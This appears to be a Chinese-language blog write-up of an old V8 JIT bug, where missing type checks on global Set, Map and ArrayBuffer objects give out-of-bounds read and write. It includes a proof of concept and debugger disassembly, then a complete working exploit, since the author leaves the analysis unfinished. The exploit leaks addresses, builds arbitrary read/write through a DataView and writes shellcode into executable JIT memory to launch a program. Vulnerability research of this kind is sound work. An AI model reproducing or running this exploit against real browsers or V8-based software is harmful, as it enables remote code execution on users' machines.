这是一个由于JIT代码中没有检查全局对象的类型变化而造成的漏洞,可以导致越界读写
调试环境 漏洞相关链接:
1 2 3 4 git reset --hard a7a350012c05f644f3f373fb48d7ac72f7f60542 gclient sync ./tools/dev/v8gen.py x64.debug ninja -c ./out.gn/x64.debug
漏洞分析 POC分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 function Ctor ( ) { n = new Set (); } function Check ( ) { n.xyz = 0x826852f4 ; } for (var i=0 ; i<10000 ; ++i) { Ctor(); } for (var i=0 ; i<10000 ; ++i) { Check(); } Ctor(); Check(); parseInt ('AAAAAAAA' )
首先poc声明了两个函数,Ctor()
创建一个Set()并赋给全局变量n;Check()
给全局变量n添加一个属性xyz,并赋值为0x826852f4
然后通过两个for循环,将Ctor()
和Check()
进行了JIT优化
接着又重新调用了Ctor()
和Check()
,最后触发crash
简单的从POC上来看,不容易看出来问题的根源在哪,结合patch可以猜测到问题应该是出在JIT优化上。
分析两个函数的JIT代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 DebugPrint: 0x1b9fa8cab829: [Function] ... - code = 0x1efe03d868e1 <Code: OPTIMIZED_FUNCTION> ... DebugPrint: 0x1b9fa8cab8a9: [Function] ... - code = 0x1efe03d86c21 <Code: OPTIMIZED_FUNCTION> ... pwndbg> job 0x1efe03d86c21 ; Check() 0x1efe03d86c21: [Code] kind = OPTIMIZED_FUNCTION stack_slots = 5 compiler = crankshaft Instructions (size = 115) 0x1efe03d86c80 0 55 push rbp 0x1efe03d86c81 1 4889e5 REX.W movq rbp,rsp 0x1efe03d86c84 4 56 push rsi 0x1efe03d86c85 5 57 push rdi 0x1efe03d86c86 6 4883ec08 REX.W subq rsp,0x8 0x1efe03d86c8a 10 488b45f8 REX.W movq rax,[rbp-0x8] 0x1efe03d86c8e 14 488945e8 REX.W movq [rbp-0x18],rax 0x1efe03d86c92 18 488bf0 REX.W movq rsi,rax 0x1efe03d86c95 21 493ba5600c0000 REX.W cmpq rsp,[r13+0xc60] 0x1efe03d86c9c 28 7305 jnc 35 (0x1efe03d86ca3) 0x1efe03d86c9e 30 e83dbcf5ff call StackCheck (0x1efe03ce28e0) ;; code: BUILTIN 0x1efe03d86ca3 35 48b889becaa89f1b0000 REX.W movq rax,0x1b9fa8cabe89 ;; object: 0x1b9fa8cabe89 PropertyCell for 0x18a9a3b8a079 <a Set with map 0x355292e0c391> 0x1efe03d86cad 45 488b400f REX.W movq rax,[rax+0xf] ;; 从PropertyCell中取出jSSet 0x1efe03d86cb1 49 49ba0000805e0a4de041 REX.W movq r10,0x41e04d0a5e800000 ;; 这是要赋的值 0x1efe03d86cbb 59 c4c1f96ec2 vmovq xmm0,r10 0x1efe03d86cc0 64 488b4007 REX.W movq rax,[rax+0x7] ;; 取出JSSet的elements 0x1efe03d86cc4 68 488b400f REX.W movq rax,[rax+0xf] ;; 从element中获取xyz属性的地址(这是一个指针) 0x1efe03d86cc8 72 c5fb114007 vmovsd [rax+0x7],xmm0 ;; 将值写入xyz属性对应的地址处 0x1efe03d86ccd 77 48b81123f04e180e0000 REX.W movq rax,0xe184ef02311 ;; object: 0xe184ef02311 <undefined> 0x1efe03d86cd7 87 488be5 REX.W movq rsp,rbp 0x1efe03d86cda 90 5d pop rbp 0x1efe03d86cdb 91 c20800 ret 0x8 0x1efe03d86cde 94 6690 nop ...
可以看到,在Check()函数的JIT代码会从JSSet的elements里根据一定的偏移,将我们的值写入进去,那么在0x1efe03d86ca3
处下断点,看看接下来的单独调用会有什么动作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 pwndbg> job 0x1b9fa8cabe89 0x1b9fa8cabe89: [PropertyCell] - value: 0x18a9a3b8a251 <a Set with map 0x355292e06509> - details: (data, dictionary_index: 138, attrs: [WEC]) - cell_type: ConstantType (StableMap) pwndbg> x/6gx 0x18a9a3b8a251-1 ; JSSet 0x18a9a3b8a250: 0x0000355292e06509 0x00000e184ef02241 ; MAP | elements 0x18a9a3b8a260: 0x00000e184ef02241 0x000018a9a3b8a271 0x18a9a3b8a270: 0x00001b77cb482f11 0x0000000d00000000 pwndbg> x/6gx 0xe184ef02241-1 0xe184ef02240: 0x00001b77cb482309 0x0000000000000000 0xe184ef02250: 0x00001b77cb482361 0x00000000803b1506 0xe184ef02260: 0x0000000400000000 0xdeadbeed6c6c756e pwndbg> x/6gx 0xe184ef02241-1 0xe184ef02240: 0x00001b77cb482309 0x0000000000000000 0xe184ef02250: 0x00001b77cb482361 0x00000000803b1506 0xe184ef02260: 0x0000000400000000 0xdeadbeed6c6c756e pwndbg> b *0x1efe03d86ca3 Breakpoint 1 at 0x1efe03d86ca3 pwndbg> c ... ; 断下后单步执行,观察数据流向
// 有空再写 先上EXP(咕咕咕
完整利用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 class Memory { constructor (){ this .buf = new ArrayBuffer (8 ); this .f64 = new Float64Array (this .buf); this .u32 = new Uint32Array (this .buf); this .bytes = new Uint8Array (this .buf); } d2u(val){ this .f64[0 ] = val; let tmp = Array .from(this .u32); return tmp[1 ] * 0x100000000 + tmp[0 ]; } u2d(val){ let tmp = []; tmp[0 ] = parseInt (val % 0x100000000 ); tmp[1 ] = parseInt ((val - tmp[0 ]) / 0x100000000 ); this .u32.set(tmp); return this .f64[0 ]; } } var mem = new Memory();function leak_string (str ) { return str.charCodeAt(0 )*0x1 +str.charCodeAt(1 )*0x100 +str.charCodeAt(2 )*0x10000 +str.charCodeAt(3 )*0x1000000 +str.charCodeAt(4 )*0x100000000 +str.charCodeAt(5 )*0x10000000000 +str.charCodeAt(6 )*0x1000000000000 +str.charCodeAt(7 )*0x100000000000000 ; } function Ctor1 ( ) { n = new Set (); } function Ctor2 ( ) { m = new Map (); } function Ctor3 ( ) { l = new ArrayBuffer (); } function Check1 (obj ) { n.xyz0 = 3.4766863919152113e-308 ; n.xyz1 = 0 ; n.xyz2 = 0x1000 ; n.xyz3 = obj; } function Check2 (val ) { m.xyz0 = 3.4766863919152113e-308 ; m.xyz1 = 0 ; m.xyz2 = 0x1000 ; m.xyz3 = val; } function Check3 (val ) { l.xyz0 = 3.4766863919152113e-308 ; l.xyz1 = val; } function func ( ) { return 0 ; } for (var i = 0 ; i < 10000 ; i++){ func(); } for (var i = 0 ; i < 10000 ; i++){ Ctor1(); Ctor2(); Ctor3(); } for (var i = 0 ; i < 10000 ; i++){ Check1(null ); Check2(3.4766863919152113e-308 ); Check3(3.4766863919152113e-308 ); } var ab = new ArrayBuffer (0x100 );var str= new String (null );Ctor1(); Ctor2(); Ctor3(); Check1(ab); ab_addr = leak_string(str); ab_backing = ab_addr + 0x20 ; print("[*]backing store: 0x" + ab_backing.toString(16 )); Check1(func); func_addr = leak_string(str)-1 ; code_entry = func_addr + 0x38 ; print("[*]func address: 0x" + func_addr.toString(16 )); Check1(String (null )); Check2(mem.u2d(ab_backing - 0x8 )); Check3(mem.u2d(code_entry)); dataView = new DataView (ab); rwx_area = mem.d2u(dataView.getFloat64(0 , true )); print("[*]rwx_area: 0x" + rwx_area.toString(16 )); Check3(mem.u2d(rwx_area)); var shellcode=[0x90909090 ,0x90909090 ,0x782fb848 ,0x636c6163 ,0x48500000 ,0x73752fb8 ,0x69622f72 ,0x8948506e ,0xc03148e7 ,0x89485750 ,0xd23148e6 ,0x3ac0c748 ,0x50000030 ,0x4944b848 ,0x414c5053 ,0x48503d59 ,0x3148e289 ,0x485250c0 ,0xc748e289 ,0x00003bc0 ,0x050f00 ];for (i = 0 ; i < shellcode.length; i++){ dataView.setUint32(i * 4 , shellcode[i], true ); } func();